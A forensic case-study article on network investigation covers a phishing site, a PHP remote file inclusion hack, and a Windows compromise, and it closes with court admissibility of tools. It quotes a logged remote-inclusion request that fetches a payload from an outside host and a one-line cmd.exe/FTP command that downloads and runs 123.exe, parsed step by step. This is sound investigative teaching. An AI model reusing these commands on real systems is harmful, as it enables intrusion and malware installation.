Advertisement

Awareness of network commands, general knowledge of Internet protocols, use of packet sniffing software, and familiarity with Web sites and programs that yield information from the DNS are essential tools for digital investigations.Insights on the role of network forensics and how knowledge of computer communications and network protocols is emerging as a necessary skill for digital investigators.

Most computer forensics experts are well-versed in basic computer hardware technology, operating systems, common software applications, and computer forensics tools. And while many have rudimentary knowledge about the Internet and simple network-lookup tools, they are not trained in the analysis of network communication protocols and the use of packet sniffers.

The first part of this article presented some insights about the role of network forensics and how knowledge of computer communications and network protocols is emerging as a necessary skill for digital investigators—perhaps even more than programming itself. Part 2 includes some additional network investigation case studies. 

Case Study #2: Phishing
Phishing and its variants (e.g., spear-phishing and pharming) are serious problems on the Internet; October 2006 saw over 37,000 new phishing sites, a 757% increase from a year earlier.1 The authors were asked to investigate one particular phishing attack targeting a Vermont bank in the summer of 2005. In August 2005, the first author received a phishing e-mail purporting to come from Amazon.com. While the details of the bank phishing scheme cannot be presented here, analysis of the Amazon.com phishing scheme will be used to explore how the bank scheme was investigated. This particular e-mail was of interest because the first author actually has an Amazon account.

The e-mail received was the typical phishing message, purporting to come from a commercial organization where the recipient might have an account,2 a statement that some security breach has occurred, and the suggestion that the recipient logon to a given Web site to update or verify their personal information.

In an effort to document the phishing attempt, the authors started a packet sniffer and followed the link provided in the e-mail despite warnings from the e-mail client. The result was a visit to a Web page that looked very much like the real Amazon.com Web site. The Uniform Resource Locator (URL) of the page—http://creditunion.pm168.com.cn/index.html?http://www.amazon.com/exec /obidos/flex-sign-in/—is particularly interesting because while it clearly shows the bogus host name, creditunion.pm168.com.cn, it also shows the legitimate amazon.com login page URL. Most users will ignore the beginning of the URL once they recognize the familiar Amazon.com address and a seemingly familiar page. Of course, the question mark and everything that follows it is ignored so, in fact, the user has been redirected to the bogus host somewhere in the .cn (China) top-level domain. The authors responded to the bogus sign-in page by supplying a bogus username and password.

Starting a packet sniffer at the beginning of this exchange proved to be very useful. Figure 1 shows the TCP packets exchanged when the authors submitted the bogus information; the information at the top of the display (in red) shows the HTTP contents of outbound packets from the author's computer and the bottom part of the display (in blue) shows the response from the Web server.3 Note that the block of text starting with method=GET (a common way of submitting form information) contains the strings USERID= has0234%40yahoo.com and PSWD=123456 which correspond to the username and password, respectively, entered in the form.

Figure 1: TCP packet stream showing user login to bogus Web site.

The more interesting item of information is that the host of the login.php file, as shown in the second line of the packet stream, is as26489.epolis.ru. So, although the bogus server is housed in the .cn domain, the user information is going to .ru (Russia), having been referred via the bogus Web site (as noted in the Referer line).

The login attempt will always be successful, of course, because this site is not authenticating users but merely collecting usernames and passwords. Having succeeded at that, the site shows a page where the users can edit their account information. The authors supplied additional bogus information on this page, too; note that at this point, all pretense of carrying an Amazon.com address in the URL are dropped (Figure 2).

Figure 2: Entering bogus credit card information.

After hitting the SUBMIT button, the user is then taken to the legitimate Amazon.com Web site. Here, of course, the author is greeted by name, a result of the Amazon cookies on the author's computer. Any doubts as to the legitimacy of the previous few pages is all but erased by the appearance of a familiar page which greets one by name and has a proper URL.

The network analysis had only begun at this point; the next step was the use of DNS tools to track the IP addresses of the bogus sites.4 Looking up the host name creditunion.pm168.com.cn revealed the canonical name of s310.now.net.cn and an IP address of 61.145.112.138. The IP address was within range assigned to the Asia-Pacific Network Information Center (APNIC) and, in turn, to a smaller block that been allocated to the China Network Information Center (CNNIC), responsible for IP address assignments in China. A traceroute to this particular address showed a handoff to China Telecom USA prior to going overseas.

The host name of the server collecting the username, passwords, and credit card information was as26489.epolis.ru with an IP address of 81.177.0.199. This address is part of the RIPE address block; whois information provided contact information at the rt-comm.ru network and a Moscow telephone number.

Case Study #3: Web E-commerce Server Hack
In February 2006, the authors were involved in an investigation of an e-commerce server that had been hacked. The system administrator re-built the server using a new hard drive so that we were able to take a close look at the compromised system.

One of the key points in the exam was found in the Web server logs. In particular, this HTTP GET command entry stood out:

192.0.2.36 - - [10/Jan/2006:15:08:38 -0500] "GET /shoppingcart/includes/orderSuccess.inc.php?cmd=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3Bid;echo%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;&glob=1&cart_order_id=1&glob[rootDir]=http://contnou.sapte.ro/srdyh.pdf? HTTP/1.1" 200 2423 "-" "-"

The version of the e-commerce shopping cart software employed by this particular business at the time had a vulnerability whereby a nefarious user could force the server to execute a command. In this case, the "%xx" entries represented the hexadecimal representation of ASCII characters and "translate" to the following command:

/shoppingcart/includes/orderSuccess.inc.php?cmd=echo _START_;id;echo; echo_END_;echo;&glob=1&cart_order_id=1&glob[rootDir]=http://contnou.sapte.ro/srdyh.pdf?

In this case, the attacker was able to upload and execute the PDF file named in the command. One simple tool that we employed was the Sam Spade safe browser, which allows the user to visualize a Web page's Hypertext Markup Language (HTML) code without actually rendering the page (www.samspade.org). We found not a PDF file, but an HTML page that allows an attacker to design an exploit code.

Subsequent examination showed that this access came from a host on an ISP in New York City. The contnou.sapte.ro host—ostensibly in the Romania (.ro) domain—resolved to an IP address within a block allocated to another New York City ISP.

Case Study #4: One Hole is All an Exploit Needs
One common vulnerability of software is susceptibility to so-called buffer overflows, where a nefarious user can enter more information than the software is expecting, causing unexpected results. Properly written software will detect and ignore accidental or purposeful buffer overflow attempts, but many such vulnerabilities remain. Some buffer overflow exploits allow a nefarious user to send a set of instructions to a server; a Bad Guy will use this vulnerability to install a rootkit, allowing the attacker to return later and own the system. Other variants of this theme are those vulnerabilities that will allow an attacker to force an application to execute a single command of the attacker's choosing.

In late 2006, the authors investigated a hacked Web site at a small business running Windows 2003 Server. The systems administrator had noticed unusual log entries and then found that his system was running a number of unknown applications.

Figure 3: Unusual entry in the set of recent Run commands.

One item that the sysadmin found was this entry in the recent Run command list (Figure 3):

cmd.exe /c del i&echo open 192.0.2.68 5685 > i&echo user l l >> i&echo get 123.exe >> i &echo quit >> i &ftp -n -s:i & 123.exe&del i&exit

This line was inserted by exploiting a vulnerability in one of the server's applications that allowed an attacker to inject just one command. But this particular command is a compound command that started up the DOS command interpreter, built an FTP script, used FTP to run the script and download an attack tool, and then executed the attack tool. A detailed parsing of the injected command is below:

     cmd.exe    Run the DOS command interpreter

     /c              Interpret the string that follows this switch as the command line

     del i           Delete the file named "i"

     &               Concatenate the next item to this command

     echo open 192.0.2.68 5685 > i

                      Send the line open 192.0.2.68 5685 to the file i

     &              Concatenate the next item to this command

     echo user l l >> i

                     Append the line user l l to the file i

     &             Concatenate the next item to this command

     echo get 123.exe >> i

                    Append the line get 123.exe to file i

     &             Concatenate the next item to this command

     echo quit >> i

                     Append the line quit to file i

     &              Concatenate the next item to this command

     ftp -n -s:i

                      Run FTP using file i as the command source (s:i)

     &               Concatenate the next item to this command

     123.exe     Execute the file 123.exe

     &               Concatenate the next item to this command

     del i           Delete file i

     &               Concatenate the next item to this command

     exit           Exit this script

Simply stated, this single command created a file in the system32 directory named i with the following contents:

open 192.0.2.68 5685
user l l
get 123.exe
quit

The file is a command script for FTP. First, a connection is made to port 5685 on host 192.0.2.68, which is presumably a hidden FTP daemon. The command accesses the FTP server with a username of 1 and a password of 1, downloads a file named 123.exe, and then exits the FTP server. The IP address that was actually employed resolved back to a Bell Canada DSL customer in the area of London, Ontario.

The nefarious command then executes 123, deletes the file i, and exits the script. We found the file i, however, because once control was transferred to 123.exe, this script was never completed. (Even if it had been deleted, it would have been discoverable with a computer forensics tool since it would have been deleted and not wiped.)

This command was found in the Registry key HKCU\Software\Microsoft\Windows \CurrentVersion\Explorer\RunMRU which made it seem that it was typed in at the keyboard of the server. Finding the vulnerable software, however, made it apparent that the exploit was the way in which this command appeared.

Coincidently, the authors investigated another incident the following week with a similar attack vector. At that time, a state agency's ISP advised the sysadmin that a large volume of Internet Relay Chat (IRC) traffic was being generated by their server. This traffic was being sent to a host in Japan using TCP port 6669. Numerous other ports were also found to be open on the system.

Examination of event logs showed a number of interesting events starting three months earlier. The server, which had essentially run non-stop for months at a time, performed a sudden restart, right after the execution of a Windows Media Player (WMP) event. This same pattern was seen periodically over the next few months, until the report of the IRC traffic. Upon further examination, we stumbled across a file named i—in the system32 directory. This file was almost identical to the previous attack except the name of the downloaded file was different and, of course, the IP address was different, this one resolving to a system in Buenos Aires, Argentina. The IP address of the host that ostensibly placed the command on the system was from the Miami, Florida area. Continued examination showed that the system had been infected with many types of malware, including Backdoor.Usirf, Backdoor.Hackdefender, W32.Dropper, and W32.IRCBot.D.

This compromised system was running services over Windows 2000 Professional. It also had an older version of WMP that happened to have a known vulnerability that allows an attacker to elevate their credentials on the target host. In this case, it is believed that WMP provided the first attack vector whereby the same single command as seen the previous week was used to upload some backdoor rootkit; this seems to be a relatively common mechanism with which to insert nefarious code on a foreign host. The installed malware can, of course, take any number of actions and that is how the additional malware was uploaded.

The difference between the two compromises and their investigative results was the logging efforts by the two companies. The first site relied solely on the Windows Event Viewer and the second site used a more robust Web log. Ironically, despite inferior logging capabilities, the first site noticed a problem with their server within days of the attack whereas the second site's initial breach was not noticed for several months, until the increase in IRC traffic was reported. Nevertheless, the second site's logs provided an incredible amount of information in piecing together the attack and helping with the investigation, whereas there was little network information from the first site due to limitations with the Windows standard logging.

Although both sites had sensitive personal information, no evidence was found to suggest that the sites were specially targeted for that information or even that the information was downloaded. Instead, both target hosts look like they were the victims of an automated attack because they were accessible and vulnerable, and then used to troll for other vulnerable sites. 

Legal Aspects and Tool Reliability
Because of the newness of network forensic activity, network examiners are often left to use existing and emerging tools that have not yet faced the challenge of being proven valid in court. In some respects, the presentation phase of a digital investigation is the most critical; regardless of what has been found, it is worthless if the information cannot be convincingly conveyed to a judge and jury.

The test for admissibility of scientific evidence in U.S. federal courts (and about a dozen state courts) is called the “Daubert test,” named for the landmark case, Daubert v. Merrell Dow Pharmaceuticals.5,6 According to Daubert, a judge has to determine the admissibility of evidence using the following four guidelines:

  • Testing: Can—and has—the procedure been tested?
  • Error Rate: Is there a known error rate of the procedure?
  • Publication: Has the procedure been published and subject to peer review?
  • Acceptance: Is the procedure generally accepted in the relevant scientific community?

At this time, network forensics examiners use a combination of open source tools and proprietary software for purposes of extracting data and reporting the results of the analysis. Both types of software are open to at least these two questions: 1) did the extraction software get all of the pertinent data, and 2) did the presentation software accurately report the results without omissions?

One way to validate software is by feeding it known input and examining the output, and the National Institute for Standards and Technology (NIST; www.cftt.nist.gov) is taking a lead role in forensics software testing. Another way to validate the tools is by examining the source code. Open source software has an advantage in this regard compared to the closed nature of commercial software. While proprietary software should not be suspect merely because it is secret, there are those that argue that closed software does seem to fly in the face of the Daubert test.7,8,9  

Conclusion
As the case studies in the article show, awareness of network commands, general knowledge of Internet protocols, use of packet sniffing software, and familiarity with Web sites and programs that yield information from the DNS are essential tools for digital investigations. The capture and analysis of network traffic represents a future direction of digital investigations and is a significant departure from the current way of conducting traditional computer analysis. Instead of the static scenario in which to conduct a computer examination, live and/or network exams provide a snapshot in time, one that might not be able to be replicated or verified. These new types of investigations will require new tools, processes, and procedures, as well as new skills on the part of the examiner. They will also represent a new challenge to the criminal justice system as practitioners, lawyers, judges, and law makers determine how the methodologies fit into existing laws.7

While many in the field recommend that computer forensics examiners take more and more programming courses, most practitioners do not, in fact, write programs; most of the tools available today get the job done and are accepted in courts of law whereas homegrown tools will face the uphill battle of validation. On the other hand, knowledge of network analysis and protocols, and the tools with which to support that activity, are possibly even more important skills for the computer forensics examiner. While there are tools that will capture and display network data, the practitioner needs to know how to properly interpret what they are seeing in the context of their investigation.

Put another way, knowledge of network hardware and application protocols is as essential to a network-based investigation as knowledge of computer hardware and file systems is to a computer-based investigation.

From: Kessler, G.C., & Fasulo, M. (2007). The Case for Teaching Network Protocols to Computer Forensics Examiners. In Proceedings of the Conference on Digital Forensics, Security and Law, April 18-20, 2007, Arlington, VA, pp. 115-137.

References

  1. Anti-Phishing Working Group (APWG). (2006), "Sept-Oct Report: Phish Site Outbreak," http://www.antiphishing.org/, December 14, 2006.
  2. Or not! A surprising number of people will enter information in response to phishing e-mails at sites purporting to belong to companies where they do not have an account.
  3. Fielding, R., Gettys, J., Mogul, J., Frystyk, H., Masinter, L., Leach, P., & Berners-Lee, T. (1999), Hypertext Transfer Protocol—HTTP/1.1. Request for Comments (RFC) 2616, http://www.rfc-editor.org/rfc/rfc2616.txt, December 15, 2006.
  4. Nikkel, B.J. (2004), "Domain Name Forensics: A Systematic Approach to Investigating an Internet Presence," Digital Investigation, 1(4): 247-255.
  5. O'Connor, T., & Stevens, M. (2006), "Admissibility of Scientific Evidence Under Daubert," http://faculty.ncwc.edu/toconnor/425/425lect02.htm, December 15, 2006.
  6. Supreme Court of the United States. (1993), Daubert v. Merrell Dow Pharmaceuticals (92-102), 509 U.S. 579. http://supct.law.cornell.edu/supct/html/92-102.ZS.html, April 16, 2006.
  7. Brenner, S.W. (2005), "Requiring Protocols in Computer Search Warrants," Digital Investigation, 2(3): 180-188.
  8. Carrier, B. (2003), "Open Source Digital Forensics Tools: The Legal Argument," http://homes.cerias.purdue.edu/~carrier/forensics/docs/opensrc_legal.pdf, April 15, 2006.
  9. Kenneally, E.E. (2001), "Gatekeeping Out of the Box: Open Source Software as a Mechanism to Assess Reliability for Digital Evidence," Virginia Journal of Law and Technology, 6(3). http://www.vjolt.net/vol6/issue3/v6i3-a13-Kenneally.html, April 14, 2006.

Gary C. Kessler, Ph.D., CCE, CISSP, is an Associate Professor of Homeland Security at Embry-Riddle Aeronautical University, a member of the North Florida ICAC (Volusia County Sheriff's Department), and president and janitor of Gary Kessler Associates, a training and consulting company specializing in computer and network security and digital forensics. Gary is also a part-time member of the Vermont ICAC (Burlington Police Department). He is the co-author of two professional texts and over 70 articles, a frequent speaker at regional, national, and international conferences, and past editor-in-chief of the Journal of Digital Forensics, Security and Law. www.garykessler.net

Matt Fasulo is a Special Agent with the U.S. Secret Service currently stationed in Portland, Maine. SA Fasulo has been with the Secret Service since 1998 and a member of the Electronic Crimes Special Agent Program since 1999. During that time, SA Fasulo has investigated numerous network intrusion incidents.

Advertisement
Advertisement